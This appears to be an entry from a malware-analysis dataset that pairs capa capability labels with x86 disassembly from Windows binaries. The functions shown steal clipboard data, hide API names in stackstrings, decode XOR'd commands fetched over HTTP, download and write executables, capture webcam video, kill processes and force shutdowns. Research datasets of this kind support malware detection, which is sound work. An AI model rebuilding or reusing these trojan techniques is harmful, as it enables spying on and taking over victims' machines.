joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40c1dd
Capabilities:
Contain obfuscated stackstrings
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, str.KERNEL32.dll
push str.GlobalSize
mov dword [ebp - 0x10], ecx
push esi
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0
mov dword [ebp - 8], eax
call dword [0x420c04]
test eax, eax
je 0x40c2d4
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
test eax, eax
mov dword [ebp - 4], eax
jne 0x40c23d
push str.CloseClipboard
push str.USER32.dll
call edi
push eax
call ebx
call eax
jmp 0x40c2d4
and byte [ebp - 0x12], 0
lea eax, [ebp - 0x1c]
push eax
push esi
mov byte [ebp - 0x1c], 0x47
mov byte [ebp - 0x1b], 0x6c
mov byte [ebp - 0x1a], 0x6f
mov byte [ebp - 0x19], 0x62
mov byte [ebp - 0x18], 0x61
mov byte [ebp - 0x17], 0x6c
mov byte [ebp - 0x16], 0x4c
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], 0x63
mov byte [ebp - 0x13], 0x6b
call edi
push eax
call ebx
push dword [ebp - 4]
mov dword [ebp - 0xc], eax
call dword [ebp - 8]
push dword [ebp - 4]
mov esi, eax
inc esi
call dword [ebp - 0xc]
push esi
mov dword [ebp - 0xc], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
lea ecx, [esi - 1]
mov dword [ebp - 8], eax
push ecx
mov byte [eax], 0x76
push dword [ebp - 0xc]
inc eax
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x10
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push str.CloseClipboard
push str.USER32.dll
call edi
push eax
call ebx
call eax
mov ecx, dword [ebp - 0x10]
push esi
push dword [ebp - 8]
call fcn.0040b4b2
push dword [ebp - 8]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40c47c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
and byte [ebp - 6], 0
push ebx
push esi
mov esi, ecx
lea eax, [ebp - 0x10]
push edi
push eax
mov dword [esi], 0x4194dc
mov byte [ebp - 0x10], 0x55
mov byte [ebp - 0xf], 0x73
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x72
mov byte [ebp - 0xc], 0x33
mov byte [ebp - 0xb], 0x32
mov byte [ebp - 0xa], 0x2e
mov byte [ebp - 9], 0x64
mov byte [ebp - 8], 0x6c
mov byte [ebp - 7], 0x6c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
push str.DestroyCursor
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x10
mov dword [ebp - 4], eax
add esi, 0x44
pop ebx
push dword [esi]
call dword [ebp - 4]
add esi, 4
dec ebx
jne 0x40c4da
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40d2f7
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.GetCursorInfo
mov dword [ebp - 4], ecx
push str.USER32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x24], 0x14
push ecx
call eax
test eax, eax
je 0x40d3a4
cmp dword [ebp - 0x20], 1
jne 0x40d3a4
mov eax, dword [ebp - 4]
push ebx
xor ebx, ebx
add eax, 0x44
mov ecx, dword [ebp - 0x1c]
cmp ecx, dword [eax]
je 0x40d34d
inc ebx
add eax, 4
cmp ebx, 0x10
jl 0x40d33d
and byte [ebp - 6], 0
lea eax, [ebp - 0x10]
push eax
mov byte [ebp - 0x10], 0x55
mov byte [ebp - 0xf], 0x73
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x72
mov byte [ebp - 0xc], 0x33
mov byte [ebp - 0xb], 0x32
mov byte [ebp - 0xa], 0x2e
mov byte [ebp - 9], 0x64
mov byte [ebp - 8], 0x6c
mov byte [ebp - 7], 0x6c
call esi
mov esi, eax
push str.DestroyCursor
push esi
call edi
push dword [ebp - 0x1c]
call eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp ebx, 0x10
jne 0x40d39f
or eax, 0xffffffff
jmp 0x40d3a1
mov eax, ebx
pop ebx
jmp 0x40d3a7
or eax, 0xffffffff
pop edi
pop esi
leave
ret

Function at 0x40da50
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
xor ecx, ecx
test eax, eax
jle 0x40da6b
xor byte [ecx + esi], 7
inc ecx
cmp ecx, eax
jl 0x40da62
mov eax, esi
pop esi
ret
Function at 0x40db82
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc0c
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor esi, esi
cmp edi, esi
je 0x40dc0f
mov ebx, dword [sym.imp.MSVCRT.dll_strstr]
and byte [ebp + 0xb], 0
push str.http:__
push edi
mov dword [ebp - 4], esi
call ebx
pop ecx
test eax, eax
pop ecx
jne 0x40dbe2
push str.https:__
push edi
call ebx
pop ecx
test eax, eax
pop ecx
jne 0x40dbe2
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push edi
call fcn.0040da91
add esp, 0x1c
mov al, 1
jmp 0x40dcd4
push esi
push esi
push esi
push esi
push str.Mozilla_4.0__compatible_
call dword [sym.imp.WININET.dll_InternetOpenA]
cmp eax, esi
mov dword [ebp - 0xc], eax
je 0x40dc0f
push esi
push 0x80000100
push esi
push esi
push edi
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
cmp eax, esi
mov dword [ebp - 8], eax
jne 0x40dc18
xor al, al
jmp 0x40dcd4
xor esi, esi
mov edi, 0x800
lea eax, [ebp - 0xc0c]
push edi
push esi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xc0c]
push edi
push eax
push dword [ebp - 8]
call dword [sym.imp.WININET.dll_InternetReadFile]
mov esi, str.AAAA
lea eax, [ebp - 0xc0c]
push esi
push eax
call ebx
mov edi, eax
pop ecx
test edi, edi
pop ecx
je 0x40dcb7
add edi, 4
push esi
push edi
call ebx
mov esi, eax
pop ecx
test esi, esi
pop ecx
je 0x40dcb7
push 0x400
lea eax, [ebp - 0x40c]
push 0
push eax
call sub.MSVCRT.dll_memset
sub esi, edi
lea eax, [ebp - 0x40c]
push esi
push edi
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x40c]
push eax
call fcn.0040da50
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
call fcn.0040da91
add esp, 0x38
mov byte [ebp + 0xb], 1
cmp dword [ebp - 4], 0
ja 0x40dc16
push dword [ebp - 8]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0xc]
call esi
mov al, byte [ebp + 0xb]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40fc74
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, str.KERNEL32.dll
push str.Sleep
mov dword [esp + 0x14], ecx
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 1
push 0x41d650
mov dword [esp + 0x24], eax
call fcn.0040ffd4
pop ecx
pop ecx
push str.TerminateProcess
push ebx
call esi
push eax
call edi
xor ebp, ebp
mov dword [esp + 0x14], eax
cmp dword [esp + 0x28], ebp
jbe 0x40fcfd
push str.OpenProcess
push ebx
call esi
push eax
call edi
mov ecx, dword [esp + 0x24]
push dword [ecx + ebp]
push 0
push 0x1f0fff
call eax
push 0
push eax
mov dword [esp + 0x20], eax
call dword [esp + 0x1c]
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add ebp, 4
cmp ebp, dword [esp + 0x28]
jb 0x40fcc4
push 0
push 0x41d650
call fcn.0040ffd4
pop ecx
pop ecx
push 0x64
call dword [esp + 0x20]
mov ecx, dword [esp + 0x10]
call fcn.0040faff
mov ecx, dword [esp + 0x10]
call fcn.0040fb3b
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 8
Function at 0x410079
Capabilities:
Shutdown system

Disassembly:
push esi
mov esi, str.SeShutdownPrivilege
push 1
push esi
call fcn.0040ffd4
pop ecx
pop ecx
push 0
push dword [esp + 0xc]
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0
push esi
call fcn.0040ffd4
pop ecx
pop ecx
pop esi
ret

Function at 0x41048d
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, str.KERNEL32.dll
push str.Process32Next
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.CreateToolhelp32Snapshot
push ebx
mov dword [ebp - 0xc], eax
call esi
push eax
call edi
push 0
push 2
call eax
push 0x128
mov dword [ebp - 8], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov dword [ebp - 4], eax
mov dword [eax], 0x128
and byte [ebp - 0xe], 0
pop ecx
lea eax, [ebp - 0x1c]
mov byte [ebp - 0x1c], 0x50
push eax
push ebx
mov byte [ebp - 0x1b], 0x72
mov byte [ebp - 0x1a], 0x6f
mov byte [ebp - 0x19], 0x63
mov byte [ebp - 0x18], 0x65
mov byte [ebp - 0x17], 0x73
mov byte [ebp - 0x16], 0x73
mov byte [ebp - 0x15], 0x33
mov byte [ebp - 0x14], 0x32
mov byte [ebp - 0x13], 0x46
mov byte [ebp - 0x12], 0x69
mov byte [ebp - 0x11], 0x72
mov byte [ebp - 0x10], 0x73
mov byte [ebp - 0xf], 0x74
call esi
push eax
call edi
push dword [ebp - 4]
push dword [ebp - 8]
call eax
test eax, eax
je 0x410575
push str.lstrcmpiA
push ebx
call esi
push eax
call edi
mov ecx, dword [ebp - 4]
push dword [ebp + 8]
add ecx, 0x24
jmp 0x410566
push dword [ebp - 4]
push dword [ebp - 8]
call dword [ebp - 0xc]
test eax, eax
je 0x410575
push str.lstrcmpiA
push ebx
call esi
push eax
call edi
mov ecx, dword [ebp - 4]
push dword [ebp + 8]
add ecx, 0x24
push ecx
call eax
test eax, eax
jne 0x410545
mov eax, dword [ebp - 4]
mov eax, dword [eax + 8]
jmp 0x410577
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4105dd
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x419500
push 0x417e12
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x154
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov byte [ebp - 0x2c], 0x65
mov byte [ebp - 0x2b], 0x78
mov byte [ebp - 0x2a], 0x70
mov byte [ebp - 0x29], 0x6c
mov byte [ebp - 0x28], 0x6f
mov byte [ebp - 0x27], 0x72
mov byte [ebp - 0x26], 0x65
mov byte [ebp - 0x25], 0x72
mov byte [ebp - 0x24], 0x2e
mov byte [ebp - 0x23], 0x65
mov byte [ebp - 0x22], 0x78
mov byte [ebp - 0x21], 0x65
xor ebx, ebx
mov byte [ebp - 0x20], bl
lea eax, [ebp - 0x2c]
push eax
call fcn.0041048d
pop ecx
mov esi, eax
cmp esi, ebx
jne 0x410652
xor eax, eax
jmp 0x410772
push str.OpenProcess
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 4], ebx
push esi
push ebx
push 0x400
call eax
mov dword [ebp - 0x1c], eax
cmp eax, ebx
je 0x410737
lea ecx, [ebp - 0x44]
push ecx
push 8
push eax
call dword [0x41ffe8]
mov dword [ebp - 0x34], eax
cmp eax, ebx
je 0x410737
mov dword [ebp - 0x4c], ebx
lea eax, [ebp - 0x4c]
push eax
push ebx
push ebx
push 1
push dword [ebp - 0x44]
mov esi, dword [0x42002c]
call esi
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x4c], ebx
jbe 0x410737
push dword [ebp - 0x4c]
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov edi, eax
mov dword [ebp - 0x15c], edi
mov dword [ebp - 0x38], edi
lea eax, [ebp - 0x4c]
push eax
push dword [ebp - 0x4c]
push edi
push 1
push dword [ebp - 0x44]
call esi
mov dword [ebp - 0x34], eax
cmp eax, ebx
je 0x410737
mov dword [ebp - 0x154], 0x104
mov eax, 0x100
mov dword [ebp - 0x158], eax
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x160], eax
mov dword [ebp - 0x3c], eax
lea ecx, [ebp - 0x48]
push ecx
lea ecx, [ebp - 0x154]
push ecx
lea ecx, [ebp - 0x150]
push ecx
lea ecx, [ebp - 0x158]
push ecx
push eax
push dword [edi]
push ebx
call dword [0x420028]
mov dword [ebp - 0x34], eax
or dword [ebp - 4], 0xffffffff
call fcn.00410742
xor ebx, ebx

Function at 0x410781
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c
push esi
mov esi, 0x9c
push esi
lea eax, [ebp - 0x9c]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x9c]
mov dword [ebp - 0x9c], esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push eax
call esi
test eax, eax
jne 0x4107d2
lea eax, [ebp - 0x9c]
mov dword [ebp - 0x9c], 0x94
push eax
call esi
test eax, eax
je 0x4107f0
cmp dword [ebp - 0x98], 5
jne 0x4107eb
cmp dword [ebp - 0x94], 0
jne 0x4107eb
call fcn.004105dd
jmp 0x4107f0
call fcn.0041057c
pop esi
leave
ret
Function at 0x4108ee
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
lea eax, [ebp - 0x20]
xor ebx, ebx
push str.OpenSCManagerA
push eax
mov byte [ebp - 0x20], 0x41
mov byte [ebp - 0x1f], 0x44
mov byte [ebp - 0x1e], 0x56
mov byte [ebp - 0x1d], 0x41
mov byte [ebp - 0x1c], 0x50
mov byte [ebp - 0x1b], 0x49
mov byte [ebp - 0x1a], 0x33
mov byte [ebp - 0x19], 0x32
mov byte [ebp - 0x18], 0x2e
mov byte [ebp - 0x17], 0x64
mov byte [ebp - 0x16], 0x6c
mov byte [ebp - 0x15], 0x6c
mov byte [ebp - 0x14], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [ebp - 8], eax
lea eax, [ebp - 0x20]
push str.CloseServiceHandle
push eax
call esi
push eax
call edi
mov dword [ebp - 4], eax
lea eax, [ebp - 0x20]
push str.OpenServiceA
push eax
call esi
push eax
call edi
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x20]
push str.StartServiceA
push eax
call esi
push eax
call edi
push 2
push ebx
push ebx
mov dword [ebp - 0x10], eax
call dword [ebp - 8]
mov esi, eax
cmp esi, ebx
je 0x4109a9
push 0x10010
push dword [ebp + 8]
push esi
call dword [ebp - 0xc]
mov edi, eax
cmp edi, ebx
je 0x4109a5
push ebx
push ebx
push edi
call dword [ebp - 0x10]
push edi
call dword [ebp - 4]
push esi
call dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x410a6f
Capabilities:
Simulate ctrl alt del

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push str.GetCurrentThreadId
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
push eax
call dword [0x420d30]
and byte [ebp - 4], 0
mov esi, eax
lea eax, [ebp - 0xc]
mov byte [ebp - 0xc], 0x57
push eax
mov byte [ebp - 0xb], 0x69
mov byte [ebp - 0xa], 0x6e
mov byte [ebp - 9], 0x6c
mov byte [ebp - 8], 0x6f
mov byte [ebp - 7], 0x67
mov byte [ebp - 6], 0x6f
mov byte [ebp - 5], 0x6e
call fcn.00410a2a
test eax, eax
pop ecx
je 0x410aef
push 0x2e0003
push 0
push 0x312
push 0xffff
call dword [sym.imp.USER32.dll_PostMessageA]
test esi, esi
je 0x410aec
push esi
call fcn.004109ae
pop ecx
push 1
pop eax
pop esi
leave
ret
Function at 0x410af2
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push 1
xor esi, esi
pop eax
mov dword [ebp - 8], esi
push str.lla_4.0__compatible_
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
call edi
mov ebx, str.mozi
mov edx, eax
push ebx
mov dword [ebp - 4], edx
call edi
mov ecx, dword [ebp - 4]
lea eax, [ecx + eax + 1]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edi, eax
push ebx
push edi
call sub.MSVCRT.dll_strcpy
push str.lla_4.0__compatible_
push edi
call sub.MSVCRT.dll_strcat
add esp, 0x14
push esi
push esi
push esi
push esi
push edi
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, eax
cmp ebx, esi
je 0x410b77
push esi
push connect
push esi
push esi
push dword [ebp + 8]
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
cmp eax, esi
mov dword [ebp - 4], eax
jne 0x410b7e
xor al, al
jmp 0x410c19
push esi
push esi
push 2
push esi
push esi
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
je 0x410c03
mov edi, 0x400
push edi
lea eax, [ebp - 0x414]
push esi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x414]
push edi
push eax
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetReadFile]
cmp dword [ebp - 0x10], esi
je 0x410bd5
cmp word [ebp - 0x414], 0x5a4d
jne 0x410bf7
lea eax, [ebp - 0x14]
push esi
push eax
lea eax, [ebp - 0x414]
push dword [ebp - 8]
mov dword [ebp - 0x10], esi
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 8], esi
jbe 0x410bfa
jmp 0x410b9f
mov dword [ebp - 0xc], esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 4]
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
push ebx
call edi
xor eax, eax
cmp dword [ebp - 0xc], esi
setne al
pop edi
pop esi
pop ebx
leave
ret
Function at 0x410c1e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
lea eax, [ebp - 0x14]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
mov esi, ecx
lea eax, [ebp - 0x24]
xor ebx, ebx
push eax
mov dword [esi], 0x41950c
mov byte [ebp - 0x24], 0x6b
mov byte [ebp - 0x23], 0x65
mov byte [ebp - 0x22], 0x72
mov byte [ebp - 0x21], 0x6e
mov byte [ebp - 0x20], 0x65
mov byte [ebp - 0x1f], 0x6c
mov byte [ebp - 0x1e], 0x33
mov byte [ebp - 0x1d], 0x32
mov byte [ebp - 0x1c], 0x2e
mov byte [ebp - 0x1b], 0x64
mov byte [ebp - 0x1a], 0x6c
mov byte [ebp - 0x19], 0x6c
mov byte [ebp - 0x18], bl
mov byte [ebp - 0x14], 0x43
mov byte [ebp - 0x13], 0x72
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0x61
mov byte [ebp - 0x10], 0x74
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xe], 0x45
mov byte [ebp - 0xd], 0x76
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0xb], 0x6e
mov byte [ebp - 0xa], 0x74
mov byte [ebp - 9], 0x41
mov byte [ebp - 8], bl
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.user32.dll
mov dword [ebp - 4], eax
call edi
push ebx
push ebx
push ebx
push ebx
mov dword [0x420d3c], eax
call dword [ebp - 4]
mov dword [esi + 4], eax
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
call fcn.00410dcd
test al, al
je 0x410d52
cmp byte [0x420d38], bl
jne 0x410d52
push str.CreateWindowExA
push dword [0x420d3c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push connect
push 0x420348
push str.32770
push ebx
call eax
push 0x30
mov dword [esi + 0x10], eax
call dword [sym.imp.MSVCRT.dll_putchar]
mov dword [esp], str.AVICAP32.dll
call edi
mov edi, eax
push str.capCreateCaptureWindowA
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
push dword [esi + 0x10]
push ebx
push ebx
push ebx
push ebx
push 0x50000000
push str.CVideoCap
call eax
push 0x30
mov dword [esi + 0x14], eax
call dword [sym.imp.MSVCRT.dll_putchar]
pop ecx
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x41147a
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x41892e
call fcn.00417d30
sub esp, 0x18
push ebx
push esi
mov esi, ecx
call fcn.00410dcd
test al, al
je 0x411500
push 0x18
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov ecx, eax
mov dword [ebp - 0x14], ecx
xor ebx, ebx
cmp ecx, ebx
mov dword [ebp - 4], ebx
je 0x4114a5
call fcn.00410c1e
mov ecx, eax
jmp 0x4114a7
xor ecx, ecx
mov eax, dword [esi + 0x20]
or dword [ebp - 4], 0xffffffff
cmp eax, ebx
mov dword [esi + 0x14], ecx
je 0x4114c0
mov edx, dword [esi + 0x24]
cmp edx, ebx
je 0x4114c0
push edx
push eax
jmp 0x4114f4
push 0x120
push 0x160
call fcn.00410eec
cmp al, bl
mov byte [ebp - 0xd], al
jne 0x411504
mov ecx, dword [esi + 0x14]
push 0x90
push 0xb0
call fcn.00410eec
cmp al, bl
mov byte [ebp - 0xd], al
jne 0x411504
mov ecx, dword [esi + 0x14]
push ebx
push ebx
call fcn.00410eec
cmp al, bl
mov byte [ebp - 0xd], al
jne 0x411504
xor al, al
jmp 0x411582
push edi
mov dword [ebp - 0x24], 0x3336324d
mov dword [ebp - 0x20], 0x32335649
mov dword [ebp - 0x1c], 0x3234504d
mov dword [ebp - 0x18], 0x64697663
mov dword [ebp - 0x14], ebx
lea edi, [ebp - 0x24]
push 0x78
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
cmp eax, ebx
pop ecx
je 0x41153e
mov dword [eax], 0x419518
mov dword [eax + 0x48], ebx
jmp 0x411540
xor eax, eax
push dword [edi]
mov ecx, dword [esi + 0x14]
mov dword [esi + 0x18], eax
push dword [ecx + 8]
mov ecx, eax
call fcn.00411590
test al, al
jne 0x411574
mov ecx, dword [esi + 0x18]
cmp ecx, ebx
je 0x411563
mov eax, dword [ecx]
push 1
call dword [eax]
inc dword [ebp - 0x14]
add edi, 4
cmp dword [ebp - 0x14], 4
mov dword [esi + 0x18], ebx
jb 0x411527
jmp 0x41157e
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x24]
mov dword [esi + 0x1c], eax
mov al, byte [ebp - 0xd]
pop edi
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x402594
Capabilities:
Terminate process

Disassembly:
test eax, eax
je 0x4025a2
call dword [0x40b004]
or eax, eax
je 0x4025a3
ret
mov al, 1
jmp fcn.00402614

Function at 0x4025ac
Capabilities:
Terminate process

Disassembly:
test eax, eax
je 0x4025ba
call dword [0x40b008]
or eax, eax
jne 0x4025bb
ret
mov al, 2
jmp fcn.00402614

Function at 0x4025c4
Capabilities:
Terminate process

Disassembly:
mov ecx, dword [eax]
test ecx, ecx
je 0x4025fc
test edx, edx
je 0x4025e6
push eax
mov eax, ecx
call dword [0x40b00c]
pop ecx
or eax, eax
je 0x4025f5
mov dword [ecx], eax
ret
mov al, 2
jmp fcn.00402614
mov dword [eax], edx
mov eax, ecx
call dword [0x40b008]
or eax, eax
jne 0x4025df
ret
mov al, 1
jmp fcn.00402614
test edx, edx
je 0x402610
push eax
mov eax, edx
call dword [0x40b004]
pop ecx
or eax, eax
je 0x4025f5
mov dword [ecx], eax
ret

Function at 0x40279c
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
imul edx, dword [0x40c02c], 0x8088405
inc edx
mov dword [0x40c02c], edx
mul edx
mov eax, edx
ret

Function at 0x403780
Capabilities:
Terminate process

Disassembly:
mov al, 0x10
jmp fcn.00402614
cmp eax, edx
je 0x4037f0
cmp word [eax], 8
jb 0x4037a5
push eax
push edx
cmp word [eax], 0x100
je 0x40379b
push eax
call sub.oleaut32.dll_VariantClear
jmp 0x4037a3
add eax, 8
call fcn.00403198
pop edx
pop eax
cmp word [edx], 8
jae 0x4037bc
mov ecx, dword [edx]
mov dword [eax], ecx
mov ecx, dword [edx + 8]
mov dword [eax + 8], ecx
mov ecx, dword [edx + 0xc]
mov dword [eax + 0xc], ecx
ret
cmp word [edx], 0x100
jne 0x4037dc
mov edx, dword [edx + 8]
or edx, edx
je 0x4037d3
mov ecx, dword [edx - 8]
inc ecx
jle 0x4037d3
mov dword [edx - 8], ecx
mov word [eax], pe_nt_image_headers32
mov dword [eax + 8], edx
ret
mov word [eax], 0
push edx
push eax
call sub.oleaut32.dll_VariantCopyInd
or eax, eax
jne 0x403744
ret

Function at 0x4050e4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, dword [ebp - 8]
div ecx
test edx, edx
je 0x4050f3
inc dword [ebp - 0x8c]
invalid
scasd eax, dword es:[edi]
invalid
je 0x4050f7

Function at 0x4077a8
Capabilities:
Hash data with crc32

Disassembly:
push esi
xor esi, esi
mov ecx, 0x40c55c
mov eax, esi
mov edx, 8
test al, 1
je 0x4077c4
shr eax, 1
xor eax, 0xedb88320
jmp 0x4077c6
shr eax, 1
dec edx
jne 0x4077b7
mov dword [ecx], eax
inc esi
add ecx, 4
cmp esi, 0x100
jne 0x4077b0
pop esi
ret

Function at 0x4077f3
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, ecx
mov edi, edx
mov ebx, eax
cmp dword [0x40c558], 0
jne 0x4077ff
call fcn.004077a8
push 1
push 0x40c558
call sub.kernel32.dll_InterlockedExchange
mov eax, edi
test esi, esi
je 0x40782a
mov edx, ebx
and dx, 0xff
xor ecx, ecx
mov cl, byte [eax]
xor dx, cx
movzx edx, dx
mov edx, dword [edx*4 + 0x40c55c]
shr ebx, 8
xor edx, ebx
mov ebx, edx
dec esi
inc eax
test esi, esi
jne 0x407805
mov eax, ebx
pop edi
pop esi
pop ebx
ret